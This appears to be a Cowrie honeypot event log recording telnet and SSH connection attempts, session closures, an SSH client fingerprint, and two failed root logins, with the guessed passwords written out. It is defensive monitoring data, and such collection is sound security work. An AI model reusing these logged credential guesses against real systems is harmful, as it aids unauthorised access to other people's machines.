{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37056,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d390cb5e7cf","protocol":"telnet","message":"New connection: 162.55.233.176:37056 (159.203.135.109:23) [session: 0d390cb5e7cf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:26.056440Z"}
{"eventid":"cowrie.session.closed","duration":"2.4","message":"Connection lost after 2.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:26.072704Z","src_ip":"38.137.11.14","session":"b9bfc7a9e658","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.92903518676758,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:26.175664Z","src_ip":"162.55.233.176","session":"9a7d21e6425f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55920,"dst_ip":"10.17.0.5","dst_port":23,"session":"02f7299aee5d","protocol":"telnet","message":"New connection: 188.208.141.113:55920 (10.17.0.5:23) [session: 02f7299aee5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:26.283298Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55936,"dst_ip":"10.17.0.5","dst_port":23,"session":"c7d07ae723c5","protocol":"telnet","message":"New connection: 188.208.141.113:55936 (10.17.0.5:23) [session: c7d07ae723c5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:26.522331Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55948,"dst_ip":"10.17.0.5","dst_port":23,"session":"9b22ed1bf738","protocol":"telnet","message":"New connection: 188.208.141.113:55948 (10.17.0.5:23) [session: 9b22ed1bf738]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:26.546629Z"}
{"eventid":"cowrie.session.closed","duration":38.51807641983032,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:26.869038Z","src_ip":"162.55.233.176","session":"03684a4e235a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.329010486602783,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:27.406595Z","src_ip":"162.55.233.176","session":"b1ffea5a6bd4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":55952,"dst_ip":"10.17.0.5","dst_port":23,"session":"6e4f089ef033","protocol":"telnet","message":"New connection: 188.208.141.113:55952 (10.17.0.5:23) [session: 6e4f089ef033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:27.551289Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37070,"dst_ip":"159.203.135.109","dst_port":23,"session":"4650a22c7c0c","protocol":"telnet","message":"New connection: 162.55.233.176:37070 (159.203.135.109:23) [session: 4650a22c7c0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:27.712058Z"}
{"eventid":"cowrie.login.failed","username":"root","password":"vk.123345","message":"login attempt [root/vk.123345] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:27.832461Z","src_ip":"213.209.159.158","session":"d7d73865d012","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":31.043675661087036,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:27.922766Z","src_ip":"162.55.233.176","session":"5bee510ac17c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":38.00688648223877,"message":"Connection lost after 38 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:27.979158Z","src_ip":"162.55.233.176","session":"48677cebe127","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":45.1067430973053,"message":"Connection lost after 45 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:28.077380Z","src_ip":"188.208.141.113","session":"4cb4fc375d77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.24613666534424,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:28.230103Z","src_ip":"162.55.233.176","session":"8ac30812be09","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37084,"dst_ip":"159.203.135.109","dst_port":23,"session":"91de403fe462","protocol":"telnet","message":"New connection: 162.55.233.176:37084 (159.203.135.109:23) [session: 91de403fe462]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:28.594655Z"}
{"eventid":"cowrie.session.closed","duration":31.479328870773315,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:29.815650Z","src_ip":"162.55.233.176","session":"0ac9afcaf93b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37098,"dst_ip":"159.203.135.109","dst_port":23,"session":"5e13d7673e40","protocol":"telnet","message":"New connection: 162.55.233.176:37098 (159.203.135.109:23) [session: 5e13d7673e40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:29.959188Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37104,"dst_ip":"159.203.135.109","dst_port":23,"session":"95c95858ef9b","protocol":"telnet","message":"New connection: 162.55.233.176:37104 (159.203.135.109:23) [session: 95c95858ef9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:30.069802Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37114,"dst_ip":"159.203.135.109","dst_port":23,"session":"dc6e28865ce4","protocol":"telnet","message":"New connection: 162.55.233.176:37114 (159.203.135.109:23) [session: dc6e28865ce4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:30.102531Z"}
{"eventid":"cowrie.session.closed","duration":32.97233319282532,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:30.696080Z","src_ip":"162.55.233.176","session":"7c6164598f8f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.87364625930786,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:30.971457Z","src_ip":"162.55.233.176","session":"4bd82633efef","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":"13.0","message":"Connection lost after 13.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:31.003392Z","src_ip":"213.209.159.158","session":"d7d73865d012","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"213.209.159.158","src_port":3350,"dst_ip":"10.17.0.5","dst_port":22,"session":"505e1c57be25","protocol":"ssh","message":"New connection: 213.209.159.158:3350 (10.17.0.5:22) [session: 505e1c57be25]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:31.082252Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37124,"dst_ip":"159.203.135.109","dst_port":23,"session":"f3f25aff883b","protocol":"telnet","message":"New connection: 162.55.233.176:37124 (159.203.135.109:23) [session: f3f25aff883b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:31.267051Z"}
{"eventid":"cowrie.session.closed","duration":35.17068910598755,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:31.430999Z","src_ip":"162.55.233.176","session":"ea7588352238","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.890522241592407,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:31.437004Z","src_ip":"188.208.141.113","session":"9b22ed1bf738","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.457816123962402,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:31.487078Z","src_ip":"162.55.233.176","session":"96fd1c144591","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.30985379219055,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:32.126457Z","src_ip":"162.55.233.176","session":"e751bbda5c37","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.612545490264893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:32.363541Z","src_ip":"162.55.233.176","session":"1e1414a14b24","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":4.829883098602295,"message":"Connection lost after 4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:32.381055Z","src_ip":"188.208.141.113","session":"6e4f089ef033","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.685787677764893,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:32.420949Z","src_ip":"162.55.233.176","session":"3c270988d16c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":37136,"dst_ip":"159.203.135.109","dst_port":23,"session":"903351d4ed23","protocol":"telnet","message":"New connection: 162.55.233.176:37136 (159.203.135.109:23) [session: 903351d4ed23]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:32.568905Z"}
{"eventid":"cowrie.session.closed","duration":41.50908374786377,"message":"Connection lost after 41 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:32.740656Z","src_ip":"162.55.233.176","session":"84a80f4e16da","protocol":"telnet"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:32.911219Z","src_ip":"213.209.159.158","session":"505e1c57be25","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:32.914669Z","src_ip":"213.209.159.158","session":"505e1c57be25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46214,"dst_ip":"159.203.135.109","dst_port":23,"session":"6f386d15ff28","protocol":"telnet","message":"New connection: 162.55.233.176:46214 (159.203.135.109:23) [session: 6f386d15ff28]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:32.997072Z"}
{"eventid":"cowrie.session.closed","duration":30.894132614135742,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:33.288021Z","src_ip":"162.55.233.176","session":"cfbfd003497c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46228,"dst_ip":"159.203.135.109","dst_port":23,"session":"d99834fca82e","protocol":"telnet","message":"New connection: 162.55.233.176:46228 (159.203.135.109:23) [session: d99834fca82e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:33.863456Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46234,"dst_ip":"159.203.135.109","dst_port":23,"session":"431643b3970f","protocol":"telnet","message":"New connection: 162.55.233.176:46234 (159.203.135.109:23) [session: 431643b3970f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:33.948865Z"}
{"eventid":"cowrie.session.closed","duration":36.275665044784546,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:33.979127Z","src_ip":"162.55.233.176","session":"d8ac2422e0c1","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46248,"dst_ip":"159.203.135.109","dst_port":23,"session":"e779100408d3","protocol":"telnet","message":"New connection: 162.55.233.176:46248 (159.203.135.109:23) [session: e779100408d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:34.093425Z"}
{"eventid":"cowrie.session.closed","duration":40.81646108627319,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:34.520779Z","src_ip":"162.55.233.176","session":"a6dd4204ca8a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46256,"dst_ip":"159.203.135.109","dst_port":23,"session":"74a0f5ef9870","protocol":"telnet","message":"New connection: 162.55.233.176:46256 (159.203.135.109:23) [session: 74a0f5ef9870]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:34.900433Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46266,"dst_ip":"159.203.135.109","dst_port":23,"session":"0e00cfb4e1a4","protocol":"telnet","message":"New connection: 162.55.233.176:46266 (159.203.135.109:23) [session: 0e00cfb4e1a4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:35.542400Z"}
{"eventid":"cowrie.session.closed","duration":30.928324222564697,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:35.817575Z","src_ip":"162.55.233.176","session":"903169ecad72","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46270,"dst_ip":"159.203.135.109","dst_port":23,"session":"b5ec7557d57e","protocol":"telnet","message":"New connection: 162.55.233.176:46270 (159.203.135.109:23) [session: b5ec7557d57e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:35.928604Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46272,"dst_ip":"159.203.135.109","dst_port":23,"session":"b2848405b325","protocol":"telnet","message":"New connection: 162.55.233.176:46272 (159.203.135.109:23) [session: b2848405b325]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:36.642556Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46286,"dst_ip":"159.203.135.109","dst_port":23,"session":"edcca70adcf6","protocol":"telnet","message":"New connection: 162.55.233.176:46286 (159.203.135.109:23) [session: edcca70adcf6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:36.747875Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46298,"dst_ip":"159.203.135.109","dst_port":23,"session":"d65cb57c04d1","protocol":"telnet","message":"New connection: 162.55.233.176:46298 (159.203.135.109:23) [session: d65cb57c04d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:36.752526Z"}
{"eventid":"cowrie.session.closed","duration":33.435025215148926,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:36.878080Z","src_ip":"162.55.233.176","session":"1d8d3dedf3cb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46312,"dst_ip":"159.203.135.109","dst_port":23,"session":"3c1b68f97fd8","protocol":"telnet","message":"New connection: 162.55.233.176:46312 (159.203.135.109:23) [session: 3c1b68f97fd8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:36.910908Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46316,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c94293ef376","protocol":"telnet","message":"New connection: 162.55.233.176:46316 (159.203.135.109:23) [session: 5c94293ef376]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:36.941487Z"}
{"eventid":"cowrie.session.closed","duration":31.610634326934814,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:37.583960Z","src_ip":"162.55.233.176","session":"fbd90ae4887f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.62035584449768,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:37.829340Z","src_ip":"162.55.233.176","session":"b928d7d97f0f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46320,"dst_ip":"159.203.135.109","dst_port":23,"session":"fec83b3e811e","protocol":"telnet","message":"New connection: 162.55.233.176:46320 (159.203.135.109:23) [session: fec83b3e811e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:37.852694Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46324,"dst_ip":"159.203.135.109","dst_port":23,"session":"202b66b767bf","protocol":"telnet","message":"New connection: 162.55.233.176:46324 (159.203.135.109:23) [session: 202b66b767bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:38.425206Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46340,"dst_ip":"159.203.135.109","dst_port":23,"session":"9e494fd15372","protocol":"telnet","message":"New connection: 162.55.233.176:46340 (159.203.135.109:23) [session: 9e494fd15372]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:38.688985Z"}
{"eventid":"cowrie.session.closed","duration":35.54010510444641,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:38.923163Z","src_ip":"162.55.233.176","session":"8199e18bf61a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":36.24544596672058,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:38.943745Z","src_ip":"162.55.233.176","session":"35e0c09457fa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46344,"dst_ip":"159.203.135.109","dst_port":23,"session":"81a17ccd6caa","protocol":"telnet","message":"New connection: 162.55.233.176:46344 (159.203.135.109:23) [session: 81a17ccd6caa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:39.392263Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49966,"dst_ip":"10.17.0.5","dst_port":23,"session":"d646599aac99","protocol":"telnet","message":"New connection: 188.208.141.113:49966 (10.17.0.5:23) [session: d646599aac99]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:39.398628Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46346,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a08aea1bb60","protocol":"telnet","message":"New connection: 162.55.233.176:46346 (159.203.135.109:23) [session: 1a08aea1bb60]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:39.705904Z"}
{"eventid":"cowrie.session.connect","src_ip":"188.208.141.113","src_port":49968,"dst_ip":"10.17.0.5","dst_port":23,"session":"28fcb8bfc245","protocol":"telnet","message":"New connection: 188.208.141.113:49968 (10.17.0.5:23) [session: 28fcb8bfc245]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:39.744493Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46362,"dst_ip":"159.203.135.109","dst_port":23,"session":"eec99c435f87","protocol":"telnet","message":"New connection: 162.55.233.176:46362 (159.203.135.109:23) [session: eec99c435f87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:39.850062Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46364,"dst_ip":"159.203.135.109","dst_port":23,"session":"522b9df7c072","protocol":"telnet","message":"New connection: 162.55.233.176:46364 (159.203.135.109:23) [session: 522b9df7c072]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:39.963251Z"}
{"eventid":"cowrie.session.closed","duration":31.941911697387695,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:40.001238Z","src_ip":"162.55.233.176","session":"1f5004983b66","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"Visitor2022","message":"login attempt [root/Visitor2022] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:40.381160Z","src_ip":"213.209.159.158","session":"505e1c57be25","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46366,"dst_ip":"159.203.135.109","dst_port":23,"session":"8ac7aab369f8","protocol":"telnet","message":"New connection: 162.55.233.176:46366 (159.203.135.109:23) [session: 8ac7aab369f8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:40.465214Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46374,"dst_ip":"159.203.135.109","dst_port":23,"session":"24bfa7aa42b6","protocol":"telnet","message":"New connection: 162.55.233.176:46374 (159.203.135.109:23) [session: 24bfa7aa42b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:41.353797Z"}
{"eventid":"cowrie.session.closed","duration":30.962308883666992,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:41.554280Z","src_ip":"162.55.233.176","session":"8fb4ecbe71ed","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46380,"dst_ip":"159.203.135.109","dst_port":23,"session":"7e132b8ed18b","protocol":"telnet","message":"New connection: 162.55.233.176:46380 (159.203.135.109:23) [session: 7e132b8ed18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:41.597431Z"}
{"eventid":"cowrie.session.closed","duration":35.139817237854004,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:41.633545Z","src_ip":"162.55.233.176","session":"a7093753c734","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46382,"dst_ip":"159.203.135.109","dst_port":23,"session":"6ddcebb326ed","protocol":"telnet","message":"New connection: 162.55.233.176:46382 (159.203.135.109:23) [session: 6ddcebb326ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:41.757729Z"}
{"eventid":"cowrie.session.connect","src_ip":"162.55.233.176","src_port":46384,"dst_ip":"159.203.135.109","dst_port":23,"session":"c4018d621ba4","protocol":"telnet","message":"New connection: 162.55.233.176:46384 (159.203.135.109:23) [session: c4018d621ba4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:41.953592Z"}
{"eventid":"cowrie.session.closed","duration":48.6796395778656,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T00:56:41.992103Z","src_ip":"188.208.141.113","session":"b2a3e2464dae","protocol":"telnet"}
